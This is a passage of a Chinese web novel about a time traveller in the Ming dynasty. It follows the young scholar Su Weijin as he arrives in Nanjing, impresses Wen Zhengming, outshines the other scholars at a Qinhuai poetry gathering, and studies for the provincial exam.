夜深人静时,他独自立于船头。
河风带着凉意,远处村镇灯火零星,
更显旷野黑暗。
他知道,这并非个例。
这是大明王朝承平百年后,积弊渐深的缩影。
土地兼并导致流民增加,
胥吏**激化社会矛盾,
庞大的官僚体系运转低效……
一股沉甸甸的责任感,压在了他的心头。
科举,不仅仅是为了个人功名,
更是为了获得一个能发声、能做事的位置。
他的策论,不应只是纸面上的锦绣文章,
更应扎根于这沉痛的现实,开出对症的药方。
“路漫漫其修远兮……”
他轻声吟道,目光却愈发坚定。
乌篷船载着少年的志向与忧思,
继续南行。
金陵的轮廓,已在遥远的天际线上,若隐若现。
第83章 金陵初印象,红尘炼心志
船过龙江关,眼前的景象豁然开朗,
仿佛一幅浓墨重彩的盛世华卷,
以一种近乎粗暴的视觉冲击力,
猛地撞入苏惟瑾的眼帘。
首先映入眼帘的,
是那道盘踞于钟山之上、
蜿蜒如巨龙般的庞然巨物
——南京城墙!
赭红色的墙砖在秋日阳光下泛着沉黯厚重的光泽,
巍峨的城楼高耸入云,
垛口如齿,望之令人心生敬畏。
这绝非沭阳那等小县城的土墙可比,
这是帝国的脊梁,
是真正意义上的“虎踞龙盘”!
其规模之宏大,气势之雄浑,
远超苏惟瑾凭借前世影视剧想象出的任何画面,
一种源自渺小人类对宏伟造物的本能震撼,瞬间攫住了他的心神。
“额滴亲娘嘞……”
书童小奇张大了嘴巴,
手里的缆绳差点滑脱,
眼睛瞪得溜圆。
“这…这墙是神仙砌的吧?
咱沭阳县城搂吧搂吧,
怕是还没这城墙一角大?”
苏惟山和苏惟虎两个壮实汉子也看傻了眼,
忘了肩上沉重的行李,
只顾仰着脖子,
半晌说不出话。
同船的旅客们,无论南北,
此刻也大多涌到船边,发出阵阵惊叹。
超频大脑飞速运转,
调出关于南京城墙的数据:
周长近百华里,世界第一,
始建于洪武年间……
但冰冷的数据,远不及亲眼所见的万分之一震撼。
苏惟瑾深深吸了一口气,
才将胸中那股翻腾的激荡压下。
船只缓缓驶入秦淮河,
真正的“十里秦淮”这才揭开它旖旎而又复杂的面纱。
河水并不清澈,泛着淡淡的浑黄,
却丝毫无损其两岸令人窒息的热闹与繁华。
画舫凌波,彩灯高悬,
丝竹管弦之声隔着水面悠悠传来,
夹杂着歌女娇柔婉转的唱腔与文人墨客的酬酢笑语。
河岸两旁,黛瓦粉墙,
雕梁画栋,鳞次栉比,
尽是酒肆、茶楼、妓馆、戏院。
空气中混合着水汽、脂粉香、酒香、食物香气以及……
一种说不清道不明的、属于欲望和金钱的浮躁气息。
“卖花哟——新鲜的茉莉玉兰花——”
“刚出笼的蟹黄汤包——”
“客官,上来听曲儿吧,
咱们这儿的姑娘琴棋书画样样精通——”
各式吆喝声、揽客声此起彼伏,
与笙歌笑语交织成一片巨大的、
嗡嗡作响的声浪,几乎要将人淹没。
桥上行人摩肩接踵,
锦衣华服者有之,
布衣短褐者亦有之;
轿马往来,堵塞街道;
随处可见衣着光鲜的富商大贾、
摇着折扇故作潇洒的文人、
还有那些眼神精明、
四处钻营的帮闲清客。
小奇的眼睛彻底不够用了,
脑袋像个拨浪鼓,
一会儿看左边琳琅满目的商铺,
一会儿看右边衣着暴露、
巧笑倩兮凭栏招手的姐儿,
脸涨得通红,呼吸都急促起来,
喃喃道:
“少…少爷,这地方…
简直是…是天宫吧?”
苏惟山狠狠咽了口唾沫,粗声粗气道:
“闭上你的鸟嘴!
看好行李!
这地方,拍花子的贼人肯定多!”
他紧张地攥紧了行李担子,
肌肉绷紧,如临大敌。
苏惟虎则闷头看着脚下船板,
不敢再乱看,生怕被那乱花迷了眼。
苏惟瑾的心跳也在加速。
作为一个灵魂来自现代的穿越者,
他见识过都市的霓虹闪烁、车水马龙,
但眼前这幅活生生的、
没有任何现代工业痕迹、
纯粹由人力与古典美学构建起的极致繁华,
所带来的冲击是截然不同的。
这是一种原始的、喧嚣的、
充满了人间烟火和欲望蒸腾的活力,
足以让任何初来者心神摇曳。
然而,超频大脑的冷静分析功能很快压下那丝迷醉。
他的视线越过那些炫目的光彩,
看到了更多。
在珠光宝气的首饰铺台阶下,
蜷缩着衣衫褴褛的乞丐,
伸着肮脏的手;
在飘着酒肉香气的酒楼后巷,
瘦骨嶙峋的野狗正与几个半大孩子争抢着泔水桶里的残渣;
秦淮河水在某些僻静河段,
散发着隐隐的臭味,
漂浮着不明污物;
那些笑容满面的伙计转身可能就对穷苦主顾恶语相向;
巡城的兵丁看似威武,
眼神却更多地瞟向商贩的货摊和行人的钱袋
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……
光明与阴影,奢华与贫困,
风雅与污秽,
在这座帝都无比和谐又无比尖锐地并存着。
这就是大明王朝的心脏,
跳动着最强劲也最复杂的脉搏。
“好一个金陵……
好一个花花世界,滚滚红尘。”
苏惟瑾轻声自语,
目光渐渐从最初的震撼好奇,
变得深沉锐利。
他没有忘记来此的目的。
乡试、功名、文徴明先生……这些才是正题。
他吩咐船家在一处相对清净的码头靠岸,
拒绝了数个热情过分、
声称能带他去“最好最实惠”客栈的牙人。
凭借赵文萱笔记中的信息和超频大脑的快速判断,
他领着三人,穿过几条热闹的街市,
最终在离江南贡院不算太远、
却又避开主干道喧哗的一条小巷里,
寻了一家名为“悦来”的老字号客栈。
客栈门脸不大,却干净整洁,
掌柜的是个戴着瓜皮帽、
精神矍铄的老者,
说话带着点南京本地口音,
但还算易懂。
价格虽不便宜,但胜在清静安全。
要了两间相邻的上房安顿下来,
苏惟瑾立刻吩咐:
“小奇,去打盆热水来。
惟山兄,惟虎兄,检查一下门窗。
今日早些休息,
明日一早,我们去国子监。”
“少爷,咱不去秦淮河上看看画舫?”
小奇还有点不甘心,小声嘟囔。
苏惟瑾看他一眼,
语气平淡却不容置疑:
“我们是来赶考的,
不是来狎妓游玩的。
记住自己的本分。”
小奇一缩脖子,不敢再多言。
是夜,金陵城华灯初上,
秦淮河畔的喧嚣隐隐传来,
如同远方一场永不落幕的盛宴。
苏惟瑾临窗而立,
望着窗外南京城璀璨的灯火与深沉的夜空。
这里的竞争,将比沭阳激烈百倍。
这里的诱惑,也比沭阳多出千倍。
但他眼神清明,心如止水。
繁华迷眼,却乱不了他的向学之心;
红尘滚滚,正好用来磨砺他的意志。
明日,便将去叩响那通向更高学问殿堂的门扉。
少年深吸一口带着金陵特有气息的夜风,转身,吹熄了灯烛。
第84章 国子监拜山门,惊才撼文衡
翌日清晨,秋高气爽。
苏惟瑾换上一身最体面的青衿,
仔细抚平每一道褶皱,
又将赵教谕那封荐信贴身收好,
这才带着小奇,出了悦来客栈。
国子监位于南京城东北隅,成贤街上。
与秦淮河畔的喧嚣浮华截然不同,
越靠近这里,氛围便越发庄严肃穆。
街道宽阔洁净,两旁古木参天,
多是学宫、书坊、文房四宝店,
空气中飘散的不再是脂粉酒肉气,
而是淡淡的墨香和纸香。
行**多步履从容,
衣着素雅,多是文人学子模样,
见面拱手作揖,谈吐斯文。
小奇也收敛了许多,大气不敢出,
小声嘀咕:
“少爷,这儿走路好像都得踮着脚尖才合适……”
苏惟瑾莞尔,目光却已被前方一片巍峨宏大的建筑群吸引。
国子监,天下最高学府,帝国教育中枢所在。
朱红的高墙,规制远超寻常衙署。
门前矗立着巨大的“文武官员至此下马”石碑,
无声宣告着此地的超然地位。
棂星门、集贤门、太学门……
一道道门阙次第展开,气象森严,
透着厚重的历史积淀与无上的学术权威。
飞檐斗拱,琉璃瓦在阳光下闪烁着庄重的光芒。
门前有兵丁守卫,眼神锐利,查验着每一个进出之人。
苏惟瑾整理了一下衣冠,
上前说明来意,并递上赵明远的信函。
守卫见是来找文博士的,
又见他虽年轻但气度沉静,
不敢怠慢,遣人入内通传。
不多时,一个青衣小帽的年轻监生快步出来,
打量了苏惟瑾一眼,
眼中闪过一丝不易察觉的讶异,
似乎没想到赵教谕推荐来的人如此年轻,
但还是客气地拱手道:
“可是沭阳苏相公?
文先生正在彝伦堂西厢房授课,
请随我来。”
步入国子监内部,更觉其广阔。
庭院深深,**苍劲,
一座座殿堂斋舍规整排列,
辟雍、彝伦堂、敬一亭……
每一处都承载着无数读书人的梦想与荣耀。
廊庑下,可见三三两两的监生或捧书诵读,或低声辩论,
空气中弥漫着一种专注而紧张的向学气息。
能在此就读的,
非官宦子弟即各地选拔的精英,
人人脸上都带着几分才学赋予的自信,甚至傲气。
小奇看得眼花缭乱,缩着脖子,
紧紧跟在苏惟瑾身后,
生怕走错一步。
那监生将苏惟瑾引至彝伦堂旁一间僻静的厢房外,低声道:
“先生刚讲完一课,正在歇息。
苏相公请稍候。”
说罢,入内禀报。
片刻,门内传来一个温和却略带疏离的声音:
“沭阳赵明远的弟子?进来吧。”
苏惟瑾定了定神,独自推门而入。
屋内陈设简朴,满室书香。
一位清瘦矍铄的中年人正坐在窗边的官帽椅上,
手持一卷书,目光透过薄薄的水晶镜片投来。
他约莫四十余岁年纪,面容清癯,
三缕长须梳理得一丝不苟,
穿着半旧的藏青色直裰,
整个人透着一股沉浸书卷多年的儒雅之气,
但眉宇间也带着几分见惯天才、
等闲难入法眼的淡然。
这便是文徴明,
江南四大才子,书画巨擘文徵明,
当代篆刻开山人物,国子监博士。
“学生苏惟瑾,字玉衡,
沭阳县学子,
受业师赵明远先生所荐,
特来拜见文先生。”
苏惟瑾上前,依足礼数,
深深一揖,姿态不卑不亢。
文徴明微微颔首,放下书卷,
指了指旁边的椅子:
“坐吧。
明远在信里对你推崇备至,
说你是难得一见的璞玉。
沭阳……倒是出了个人才。”
语气平淡,听不出太多情绪,
那句“沭阳”微微拖长的尾音,
隐约透出一丝“小地方能出什么真龙”的疑虑。
苏惟瑾安然就坐,腰背挺直:
“业师谬赞,学生愧不敢当。
惟是平日不敢稍懈,勉力向学罢了。”
文徴明不置可否,开始了例行的考较。
先是问四书五经的基础义理,
朱注程传,苏惟瑾对答如流,
根基之扎实,让文彭眼中闪过一丝讶异,
稍稍坐正了些身子。
随即,问题逐渐深入。
文徴明乃学问大家,涉猎极广,
从《春秋》微言大义问到《周易》象数之理,
又从《史记》太史公笔法问到《汉书》典章制度。
苏惟瑾超频大脑全开,
不仅将典籍原文和各家注解信手拈来,
更能融会贯通,提出自己的见解。
虽谨守学术规范,
但角度之新颖,逻辑之严密,
常能发前人所未发。
文徴明脸上的淡然渐渐消失,
取而代之的是越来越浓的惊奇。
他忽然话锋一转,跳出经史,
问及时务:
“近来东南倭患频仍,
依你之见,根在何处?
何以根治?”
此问涉及军国大事,
远超普通秀才所学范围,
显然有为难之意。
苏惟瑾略一沉吟,从容道:
“学生浅见,倭患之根,表象在寇,
内里在商,根本在海。”
“哦?详述之。”
文徴明目光一凝。
“所谓在寇,乃疥癣之疾;
所谓在商,乃沿海豪商大贾乃至部分势要之家,
为牟暴利,暗中勾结倭寇,
贩运违禁物资,提供情报,
乃至窝销赃物,此乃痈疽之患;
所谓在海,乃朝廷海禁过严,
片板不得下海,
断绝无数靠海吃海百姓生路,
迫其从贼,
且使**海疆沦为不设防之地,
倭寇来去自如。
故学生以为,根治之策,
绝非仅靠增兵剿抚,
更需严厉查处通倭内奸,
同时……或许可考量有限度地开放海禁,
设市舶司加以管理,
将海上贸易纳入官府掌控,
既可绝部分走私之念,
亦可增朝廷税收,
练水师以卫海疆。”
这番论述,融合了现代经济学、
社会学和军事战略的眼光,
用当时能理解的语言包装出来,
可谓石破天惊!
尤其是“有限度开海”之议,
在当时绝对是敏感又超前的观点。
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文徴明听得悚然动容,
手指无意识地敲击着桌面,
眼中精光连闪。
他紧紧盯着苏惟瑾:
“此论……大胆!
你可知道‘开海’二字,
会触动多少人的利益?
又会引来多少攻讦?”
苏惟瑾坦然道:
“学生深知。
然学生只就事论事。
若因惧怕非议而讳言,
非读书人本色。
且学生所言‘有限度’,
乃是在朝廷强力监管之下,
与全然放开不同。”
文徴明默然良久,忽然又问:
“若以此为题作策论,你如何破题?”
苏惟瑾几乎不假思索:
“可破为‘论靖海三策:
剿抚、清源、通贸’。
首论严厉剿倭,肃清外患;
次论清查内奸,断绝勾连;
再论适度通商,以疏代堵,长治久安。”
逻辑清晰,层层递进。
文徴明猛地一拍大腿(虽极力克制,仍发出了不小声响),
脸上已全是激赏之色,
再无半分轻视:
“好!好一个‘以疏代堵’!
好一个‘靖海三策’!
思路清晰,见识卓远!
明远果然没有骗我,
你确乃璞玉,不,是明珠蒙尘!”
他站起身,来回踱了两步,
情绪明显激动起来:
“你所言这些,
尤其是对时务的看法,
其中蕴含的思辨之法,
颇有……颇有古之智者‘格物致知’、
‘经世致用’的意味,
却又更加系统透彻,
此非死读诗书所能得!
你这些‘新学’思想,从何而来?”
苏惟瑾依旧沿用之前的说法:
“多是平日读杂书偶得,
加之自己胡思乱想,胡乱揣测,
让先生见笑了。”
“胡思乱想?
若这都是胡思乱想,
那国子监里大半监生都可以回家种地了!”
文徴明朗声笑道,
态度已变得无比亲切热情。
“玉衡啊,你不必过谦。
你这般年纪,有此见识,殊为难得!
你之才学,应对南闱,
只要正常发挥,中式当无疑问,
所争不过名次高低耳!”
他走到苏惟瑾面前,
用力拍了拍他的肩膀(这让苏惟瑾感受到这位大儒率真的一面):
“从明日起,你若得空,便来我这里。
南闱文章,除却见识,
尚有法度、气韵、修辞诸多讲究。
老夫虽不才,于此道浸淫数十年,
或可与你切磋一二,
助你精益求精!”
“学生谢先生栽培之恩!”
苏惟瑾心中大喜,再次起身,郑重长揖。
他知道,这把通往更高学术殿堂和乡试高位的钥匙,
算是真正握在手中了。
爽快!
金手指再次发力,
折服历史名人,获得顶级学术资源!
文徴明抚须含笑,越看越觉得此子顺眼:
“今日便留下,陪老夫用顿便饭,
正好我新得一方田黄,与你瞧瞧……”
窗外,国子监的**苍翠依旧。
而一位来自沭阳的寒门学子,
已在这天下文枢的核心,
悄然崭露头角,搅动了一池春水。
第85章 秦淮文会起,雏凤试清音
得了文徴明先生的青眼,
苏惟瑾在金陵的备考生活骤然上了快车道。
不仅时常能登门请教,
文老先生更是有意提携,
这日便递来一张素雅请柬,笑道:
“今晚秦淮河上,
‘停云诗社’有一小集,
皆是南京城里有些才名的年轻士子,
你可随我去见识见识。
记住,多看多听,少说多思,
南直隶的文风士**,于此可见一斑。”
苏惟瑾心中了然,
这是文先生要带他进入金陵的文人圈子了。
他恭敬应下:
“学生明白,定谨守本分。”
是夜,华灯初上,秦淮河畔流光溢彩。
文徴明带着苏惟瑾登上一艘颇为雅致的画舫,
并非那些笙歌鼎沸的欢场之船,
舱内布置清雅,桌椅皆是竹制,
四壁挂着些水墨字画,
案上设着香炉、古琴,
倒真有几分文人雅集的味道。
舱内已到了十余人,
皆是二十上下的年轻男子,
衣冠楚楚,气质各异。
见文徴明到来,众人纷纷起身行礼,
口称“文先生”,神态恭敬。
目光落到文彭身后的苏惟瑾时,
则多了几分审视与好奇。
苏惟瑾一身半旧青衫,
年纪最轻,面生得很,
在这群大多出身江南富庶之地的才子中,
显得颇为突兀。
文徴明简单介绍:
“这位是苏惟瑾苏小友,
南直隶沭阳人士,
今科院试案首,
如今在南京备考,
老夫见他好学,
带他来凑个热闹。”
语气平淡,却点出了“院试案首”的身份,
稍稍抬了抬苏惟瑾的份量。
众人闻言,神色稍霁,
但那份江南士子天生的优越感并未消减多少。
一番寒暄,
苏惟瑾得知在座的有应天府当地的才子,
有苏州、松江府的俊秀,
甚至还有两位来自国子监的监生,
个个都是功名在身(至少是秀才),眼高于顶。
文会伊始,自是饮酒品茗,行令飞花。
几轮下来,气氛渐热,
便有人提议以“金陵怀古”为题,
各作诗词一首,以助雅兴。
此议一出,众人纷纷叫好,摩拳擦掌。
这正是扬名立万、展露才学的大好机会。
很快,一篇篇诗词便呈了上来。
或咏钟山王气,
或叹秦淮流水,
或伤六朝金粉,
或赞今朝盛世。
辞藻大多华丽,
用典也十分精巧,
可见功底扎实。
众人相互传阅品评,多是溢美之词。
“张兄此句‘龙盘旧地烟云散,
虎踞空林岁月深’,
苍茫沉郁,
深得杜工部遗风!”
“李兄这首《秦淮夜月》‘十里珠帘摇烛影,
一声玉笛落梅花’,
旖旎清丽,妙哉!”
“王贤弟词中‘六代豪华,
春去也、更无消息’,
化用古人句而能出新意,难得!”
一时间,舫内尽是互相吹捧之声,
气氛融洽热烈,
才子们个个面露得色,
自觉文采风流,足以传世。
苏惟瑾安静地坐在文彭下首,
默默看着传到自己手中的诗稿,
超频大脑飞速运转,
分析着每一首诗的优缺点:
辞藻堆砌、意境重复、情感浮泛、无病呻吟……
大多未脱前人窠臼,
匠气十足,缺乏真正的灵魂和见识。
但他谨记文先生吩咐,
只是微笑点头,并不发言。
然而,树欲静而风不止。
一位来自苏州、唤作柳彦博的秀才,
方才作了一首自认绝佳七律,
得了满堂彩,正是志得意满之时,
见苏惟瑾一直沉默,
便笑着将矛头转向他:
“苏兄来自北地,
想必见惯了塞北秋风、骏马平原,
与我江南风光大是不同。
今日我等皆已献丑,
苏兄何不也一展才情,
让我等领略一番北地雄风?”
语气虽客气,眼神却带着几分挑衅和看好戏的意味。
众人目光顿时聚焦于苏惟瑾身上。
他们也想看看,
这个被文先生带来的“北地案首”,
到底有几分斤两。
文徴明抚须不语,似笑非笑,
也想看看苏惟瑾如何应对。
苏惟瑾心知躲不过,便放下诗稿,
从容起身,拱手道:
“柳兄谬赞。
北地风光固然雄浑,
然小弟才疏学浅,恐描摹不及万一。
至于金陵怀古,前人珠玉在前,
小弟岂敢班门弄斧?
倒是方才拜读诸位兄台佳作,
获益良多,只是心中偶有一惑,
不吐不快,想请教诸位大家。”
以请教为名,行点评之实,
这是最不容易得罪人的方式。
柳彦博挑眉:
“哦?苏兄有何高见?但说无妨。”
语气已带上一丝不易察觉的不悦。
苏惟瑾道:
“小弟观诸位诗作,
多咏王气、叹兴亡、赞风月,
皆是大好题目。
然则,小弟愚见,
怀古若非为鉴今,则易流于空泛。
试问六朝何以更迭?
除却天命,岂非亦因人祸?
诸如门阀倾轧、士风浮靡、武备废弛、民生凋敝?
我等读书人,怀古之时,
是否更应思及当下,
如何避免重蹈覆辙,
方不负圣贤教诲?”
一席话,恰似在温吞的醉人春风里,
突然注入一股冷冽的清泉。
舱内顿时安静了几分。
有人面露沉思,有人则不以为然。
柳彦博哂笑道:
“苏兄此言,未免过于沉重。
文会雅集,吟风弄月本是常情,
何必牵扯什么兴亡人祸,徒增烦扰?”
“柳兄说的是,”
另一人接口,
“诗词小道,陶冶性情而已,
何必赋予那般重担?”
苏惟瑾微微一笑,并不争辩,转而道:
“柳兄方才诗中有‘**花落遗曲在,
玉树歌残暮霭沉’之句,
用陈后主典故,极是贴切。
然小弟尝读史书,
见记载陈
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朝末年为修玉树**花,
耗费巨万,征发民夫,
致使国库空虚,民怨沸腾。
这‘玉树歌残’,背后实是万家哀嚎。
我等凭吊,若只闻仙乐,
不见血泪,是否……稍显单薄?”
他语气平和,
甚至带着请教的笑意,
但话语内容却犀利如刀,
直接剥开了华丽诗词下的残酷真相!
柳彦博顿时语塞,脸色涨红。
他作诗时只顾着用典精巧、
辞藻优美,何曾想过这许多?
此时,一位坐在角落、
一直沉默寡言的青衫士子忽然开口,
声音清越:
“苏兄此言,振聋发聩。
怀古确当有深意,而非徒靡文辞。”
这人气质冷峻,目光锐利,
方才众人喧哗时,
他只静静饮酒,并未随大流奉承。
有人低声介绍,此人是**轩,
乃南直隶有名的才子,
家境优渥,却性情孤高,极少轻易许人。
苏惟瑾看向**轩,拱手示谢。
又有一人不服,争论道:
“诗者,吟咏性情也。
若皆如苏兄所言,字字需关时务,
句句要涉民生,岂不失了诗趣?”
苏惟瑾从容应对:
“兄台所言极是。
诗贵性情,然性情亦有高下。
杜工部诗沉郁顿挫,
关乎社稷民生,岂无诗趣?
白乐天诗平易近人,
心系黎民疾苦,岂失性情?
小弟非是说诗必言政,
而是以为,吾辈读书人,
胸中当有丘壑,笔下自有乾坤。
眼中若只看得见风花雪月,
而看不见民间疾苦、江山社稷,
终是落了下乘。”
这番话,格局宏大,
立意高远,却又合情合理,
令人难以反驳。
舱内彻底安静下来,
方才那些得意之作,
在苏惟瑾这番议论下,
仿佛顿时失色不少。
文徴明先生抚须颔首,眼中满是赞赏。
**轩则深深看了苏惟瑾一眼,
目光中少了几分冷漠,
多了几分探究之意。
柳彦博等人面色讪讪,
再也说不出反驳的话来。
苏惟瑾再次拱手,谦逊道:
“小弟狂妄,胡言乱语,
扰了诸位雅兴,还望海涵。
小弟罚酒一杯。”
说罢,自斟自饮一杯,姿态做得十足。
经此一事,再无人敢小觑这个来自北地小县的年轻秀才。
后续的文会,苏惟瑾依旧多数时间沉默,
但偶尔开口,必能切中要害,
言必有物,令众人侧目。
他悄然观察,发现**轩才学确实极高,
见解不凡,但似乎对自己隐隐存有一丝比较之意。
而其他士子中,
亦有几人眼神真诚,
似对苏惟瑾的见解颇为认同。
金陵文会,初露锋芒。
苏惟瑾如同一颗投入湖面的石子,
虽未掀起巨浪,却已在这江南才子圈中,
荡开了属于自己的涟漪。
雏凤清于老凤声,
他已悄然奏响了属于自己的序曲。
第86章 十里秦淮夜,惊鸿掠影声
文会之后数日,
苏惟瑾白日里或去文彭先生处请教,
或窝在悦来客栈埋头苦读,
将那日所见所闻、
所思所得细细消化。
超频大脑如饥似渴地吸收着一切养分,
不断优化着应对南闱的策略。
这日晚膳后,**轩竟主动寻到了悦来客栈。
他依旧是一身青衫,气质冷峻,
见到苏惟瑾,开门见山道:
“整日闭门读书,不怕读成了呆子?
秦淮夜色,天下独绝,
既来金陵,岂能不见识一番?
今日有几个相熟的友人约了沿河步月,苏兄可愿同往?”
苏惟瑾略感意外。
自那日文会一番言论后,
这位孤高的才子似乎对自己另眼相看,
但这主动邀约,仍显突兀。
他转念一想,整日苦读确需调节,
且深入接触这些江南士子的生活,
亦是了解风土人情、
拓宽眼界的机会,便欣然应允:
“徐兄相邀,敢不从命?
正好可向诸位兄台请教。”
两人出了客栈,
汇合了另外三四位士子,
皆是那日文会上对苏惟瑾见解表示过认同的年轻人。
彼此寒暄几句,便沿着秦淮河岸信步而行。
与那日乘坐画舫穿行河心的感受不同,
漫步岸堤,又是另一番滋味。
夜幕下的秦淮河,
仿佛一条流淌着金银与梦幻的星河。
无数画舫、灯船缀满彩灯,
倒映在暗沉的水面上,
随波晃动,碎成一片迷离的光斑。
丝竹管弦之声从四面八方传来,
悠扬的箫笛、缠绵的琵琶、
柔媚的吴歌小调,
交织成一张无形而奢靡的网,
笼罩着整个河岸。
空气中弥漫着浓郁的各色香气
——酒楼的酒肉香、脂粉铺的腻香、
茶肆的清茶香、小贩兜售的糕点甜香,
还有那若有若无、从画舫飘来的高级熏香,
种种味道混合在一起,
形成一种独特的、令人微醺的“秦淮味”。
沿岸更是热闹非凡。
卖花姑娘挎着花篮,声音清脆;
卖小吃的老叟推着独轮车,吆喝声拖着长调;
测字算命的摊前围着好奇的书生;
更有那提笼架鸟的纨绔、
前呼后拥的富商、
以及无数锦衣夜行的各色人等,
摩肩接踵,川流不息。
“卖冰糖葫芦——”
“刚出炉的梅花糕,甜掉牙嘞——”
“公子,买朵玉兰花给小姐戴上吧,香得很呐!”
小奇和**轩等人的书童跟在后面,
眼睛早就不够用了,
尤其是小奇,看得目瞪口呆,
只觉比沭阳的年集还要热闹百倍千倍。
一位姓钱的士子显然是个中老手,
如数家珍地指着河上那些最为华丽精致的画舫:
“瞧见那艘缀满琉璃灯的了没?
那是‘听雨阁’的船,
里面的姑娘琴棋书画样样精通,
等闲人连船板都摸不上!”
“那边那艘,挂着八角宫灯的,
是‘媚香楼’的,
嘿,那儿的姐姐们……”
他说到一半,
瞥见**轩冷淡的眼神,
讪讪地住了嘴。
**轩淡淡道:
“声色犬马,终是皮相。
秦淮之风流,岂在皮囊?”
另一位李姓士子笑道:
“明轩兄所言极是。
不过,这秦淮河上,
倒也并非全是庸脂俗粉。
亦有才情气节令人钦佩者。”
正说着,一阵清越婉转的歌声,
穿透周遭的喧嚣,
清晰地传入众人耳中。
那歌声不似寻常妓馆的柔靡,
反而带着几分清冷与幽怨,
咬字清晰,音律精准,
唱的是一首《西厢记》里的名段:
“原来姹紫嫣红开遍,
似这般都付与断井颓垣。
良辰美景奈何天,
赏心乐事谁家院……”
歌声如泉水流淌,
又如珠玉落盘,
竟在刹那间压过了周围的嘈杂,
引得岸上许多行人都不自觉地驻足倾听。
苏惟瑾亦是心中一动,
超频大脑瞬间分析出这歌声的专业水准极高,
更难得的是其中蕴含的真切情感。
“这是……”
他下意识地望向歌声来源,
那是一条不大却极为雅致的画舫,
船头只悬着两盏素雅的白色灯笼,
与周围争奇斗艳的灯火格格不入。
钱姓士子立刻来了精神,压低声音,
带着几分炫耀道:
“苏兄初来乍到,想必不知。
这唱曲儿的,
可是近来秦淮河上最炙手可热的人物,
沈香君姑娘!”
“沈香君?”
苏惟瑾觉得这名字有些耳熟。
“正是!”
李姓士子接口,语气中带着几分推崇。
“香君姑娘虽是清倌人,
但色艺双绝,更难得的是性情孤高,颇有气节。
等闲的富商巨贾,纵有千金,
也难见她一面,听得一曲。
她素来喜与文人雅士交往,
但若所遇之人胸无点墨、俗不可耐,
亦是闭门谢客。
故而名气虽大,
真正见过她、听过她曲儿的,反倒不多。”
**轩也难得地补充了一句,
语气中竟有一丝欣赏:
“其曲如其人,清而不
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寒,怨而不哀。
曾闻有勋贵子弟欲以势压人,
被她当面斥退,丝毫不惧。
在这秦淮河上,算是个异数。”
众人纷纷附和,
言谈间对这位沈香君姑娘皆颇多赞誉,
显然已将能欣赏到她视为一种品味的象征。
苏惟瑾闻言,不由再次望向那条素雅的画舫。
歌声已歇,船帘低垂,
看不清内里情形,却更添一份神秘。
超频大脑将“沈香君”这个名字与之前零星的信息碎片拼接:
气节、清倌人、才艺、孤高……
一个模糊而又独特的形象渐渐勾勒出来。
他心中确实微微一动。
并非因美色,而是因这污泥环境中特立独行的气节,
以及那确实超凡脱俗的才艺。
在这浮华喧嚣的十里秦淮,
竟有如此人物,
倒像是暗夜里独自绽放的一株幽兰。
然而,这心动也仅止于一瞬。
当前最重要的,是乡试,
是功名,是踏稳这仕途的第一步。
任何可能分散精力、
引人非议的事情,
都必须谨慎规避。
美色也好,才艺也罢,
终究是过眼云烟。
他收回目光,脸上恢复平静,
对众人笑道:
“果然是一位奇女子。
不过,我等还是专心赏这秦淮夜景为好,
莫要惊扰了人家。”
**轩看了他一眼,
见他眼神清明,
并无寻常男子听到名妓时的猎艳之色,
心中倒是又高看了他一分。
钱姓士子却犹自感慨:
“若能得香君姑娘青睐,
听她单独唱上一曲,
怕是比中了举人还快活……”
众人笑骂他没出息,
话题便又转向了别处。
一行人继续沿河漫步,
赏灯看景,谈论诗词文章,
偶尔也夹杂些金陵官场、
科场的逸闻趣事。
苏惟瑾多数时间静静聆听,
偶尔插言,必能切中要害,
渐渐也与这几人熟络起来。
只是那清越的歌声,
和“沈香君”这个名字,
却如同一颗投入心湖的小石子,
虽然迅速沉底,
却终究留下了一圈淡淡的涟漪,
悄然埋在了记忆深处。
夜色渐深,秦淮河的喧嚣却仿佛永无止境。
苏惟瑾辞别众人,返回客栈。
推开窗,远处河上的流光溢彩与隐隐乐声依旧可闻。
他深吸一口带着河水与脂粉气息的夜风,
摇了摇头,将那些浮华景象驱散,
重新坐回灯下,摊开了书卷。
红袖添香虽好,不如金榜题名时。
前方的路,还很漫长。
第87章 焚膏继晷志,磨剑试霜锋
秦淮河畔的惊鸿一瞥,
如同投入湖心的一粒小石子,
涟漪散尽后,湖面复归平静。
苏惟瑾深知,
那声色犬马、风月无边的世界,
于他而言,不过是前行路上偶然瞥见的风景,
可以欣赏,却绝不能沉溺。
真正的战场,在书本之上,
在笔墨之间,在那座肃穆森严的江南贡院里。
乡试之期渐近,
金陵城中的文风陡然紧张起来。
茶楼酒肆里,高谈阔论的士子少了,
埋头苦读的身影多了;
书坊的时文集子、程文墨卷卖得飞快;
连秦淮河上的丝竹声,
似乎都识趣地压低了几分,
生怕惹了备考学子的清静。
苏惟瑾彻底进入了“闭关”状态。
悦来客栈那间上房,
成了他的作战指挥部。
窗户终日开着通风,
却几乎不见主人凭栏远眺的身影。
桌上、榻上、甚至地上,
都堆满了书籍卷册。
文徴明先生借给他的、
自己重金购来的、
赵文萱手抄的……
各类经史子集、名家范文、
近科闱墨、时政策论,浩如烟海。
超频大脑,
这部来自异世的超级学习引擎,
此刻被运转到了极致。
他的眼睛以非人的速度扫过书页,
不是简单的“看”,
而是如同拓印般,
将文字、版式、
甚至细微的墨色浓淡都瞬间摄入、存储、解析。
大脑皮层高度活跃,
无数神经元疯狂链接,
构建出庞大的知识网络。
四书五经的微言大义,
朱注程传的精妙差异,
史书典籍的兴衰教训,
各家文派的风格技巧……
以前需要数月甚至数年苦功才能消化吸收的知识,
此刻正以恐怖的速度被他吸纳、理解、融会贯通。
这并非死记硬背。
超频大脑最强的能力在于“理解”与“创新”。
他能迅速比较不同注解的优劣,
能发现前人论述中的逻辑漏洞或未尽之处,
能将自己来自现代的思维方式、分析方法,
巧妙地融入对这个时代学问的理解中,
形成一种既根基扎实又视角独特的认知体系。
“玉衡,你看这篇弘治年间南直隶解元的程文,”
文徴明先生指着其中一段破题。
“起笔看似平实,实则暗藏机锋,
将‘民为贵’之意寓于对井田制的探讨中,
既避了忌讳,又抬高了立意,
此法甚妙,你可细细揣摩。”
苏惟瑾凝神看去,
超频大脑瞬间模拟出数种破题方式,
并与文中之法对比,
立刻抓住关键:
“先生明鉴。
其妙处在于以古制喻今事,
托古言志,既显学问,又抒胸怀。
学生以为,若在此处稍加变化,
引入《周礼》中‘均人’之职,
或可使论证更显厚重?”
文徴明眼中一亮,抚掌道:
“善!举一反三,一点就透!
正是此理!”
除了海量阅读,
更高强度的则是写作训练。
每日,苏惟瑾都要根据文徴明出的题目或历年真题,
模拟完成数篇制艺文章。
